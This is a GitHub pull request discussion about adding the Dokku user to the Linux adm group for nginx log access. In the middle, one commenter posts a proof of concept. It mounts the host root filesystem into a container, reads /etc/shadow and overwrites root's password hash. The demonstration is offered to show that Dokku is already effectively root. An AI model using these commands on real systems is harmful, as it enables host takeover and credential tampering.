-
-
Notifications
You must be signed in to change notification settings - Fork 2k
revert dokku group changes and add dokku user to adm group #1666
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
|
With this patch, members of Could we add user |
|
That is incorrect. We add everybody in |
|
Oh wow, so we do. Still, the |
|
I don't follow. The |
|
You can mount
|
|
✨ docker! ✨ 😉 |
|
Just because you can mount doesn't mean you are root. |
|
Whats the debian policy on the adm group? |
|
From https://www.debian.org/doc/manuals/securing-debian-howto/ch12.en.html
|
|
Whats the proper way to give log access to a non-syslog/non-adm user? |
It actually does. Docker doesn't namespace users, so root inside the container is equivalent to root on the host. Here's a proof of concept that modifies root's password on the host, using an unmodified Dokku deploy from Digital Ocean: ❯❯❯ ssh dokku@x.x.x.x apps:create myapp
Creating myapp... done
❯❯❯ ssh dokku@x.x.x.x docker-options:add myapp run "-v /:/host"
❯❯❯ git remote add dokku dokku@x.x.x.x:myapp
❯❯❯ cat Dockerfile
FROM busybox:latest
VOLUME [ "/host" ]
EXPOSE 5000
CMD [ "nc", "-l", "-p", "5000" ]
❯❯❯ git push dokku
# ... completes normally ...
❯❯❯ ssh dokku@x.x.x.x run myapp ls -l /host/etc/shadow
-rw-r----- 1 root 42 676 Nov 6 19:37 /host/etc/shadow
❯❯❯ ssh dokku@x.x.x.x run myapp cat /host/etc/shadow
root:*:16176:0:99999:7:::
# ...
dokku:*:16734:0:99999:7:::
❯❯❯ ssh dokku@x.x.x.x run myapp sed -i 's/root:\*:/root:HELLOWORLD:/' /host/etc/shadow
❯❯❯ ssh dokku@x.x.x.x run myapp cat /host/etc/shadow
root:HELLOWORLD:16176:0:99999:7:::
# ...
dokku:*:16734:0:99999:7::: |
|
TL;DR: Dokku is an administrative user, so I believe it would be consistent with policy to add it to the |
|
I'm still not following why we would explicitly add the I'm 👎 on adding EDIT: calling |
|
@michaelshobbs What specific risks are you concerned about regarding adding Dokku to |
|
I'm also confused on the pushback to adding dokku to adm.. Dokku controls more services than just its own. That's why it's part of the docker group. Arguably it should be part of adm for similar reasons. It's not an isolated app that doesn't touch the rest of the system. Instead of making the entire system conform to dokku (chowning /var/logs/nginx) it could easily be a part of the few groups it needs. |
|
@callahad to me, it's the principle of explicitly giving dokku more access to the filesystem than is required. i see the access you described via a container as implicit access. docker could choose to change this behavior (perhaps via @mmerickel in my mind dokku controls two services; nginx and docker. to that end it needs explicit access to those two services (+ related files; i.e. logs and config) and nothing more. so we're not making the entire system conform to dokku. just giving dokku explicit access. the solution provided gives dokku and the adm group access to the same nginx log files. what am i missing? |
|
It stomps on the rest of the system more than it needs to in order to accomplish that goal. But I suppose that's already been made clear and decided unnecessary since it's come up several times. |
|
@michaelshobbs I'm mainly concerned that we're subverting the intentional design of the operating system, which means normal operation begins to require dokku-specific considerations. In other words, installing dokku voids fundamental assumptions that I could otherwise make about a running system. For instance, after installing Dokku, I can't grant log access to a new user by adding them to Instead, I'll have to somehow know to add them to both the So now my little log processing script, or |
|
TL;DR: Folding group And if we're going to do that, we might as well use the group explicitly designed for that purpose: |
|
My sticking point is that adding dokku to the If we really think there's no issue giving @josegonzalez any opinion here? |
|
I'm in favor of adding dokku to Another workaround would be to not log output to /var/log and shove it somewhere were dokku does have access... |
|
@callahad @mmerickel thoughts on logging to a dokku owned area? |
|
If you wanted to redirect the dokku-specific nginx configs to /var/log/dokku I don't have a problem with that. I'd leave the default nginx.conf pointing to /var/log/nginx however. This also solves the logrotate issues because you'd install a custom rotate into /var/log/dokku (I think you already have one). I'm not sure how this interacts with nginx setting permissions on the files though. +1 |
|
Note: that would be heavily non-standard and would logging for anyone using a custom nginx config. |
|
The least invasive thing is to add |
f78ca93 to
0853850
Compare
revert dokku group changes and add dokku user to adm group
closes #1572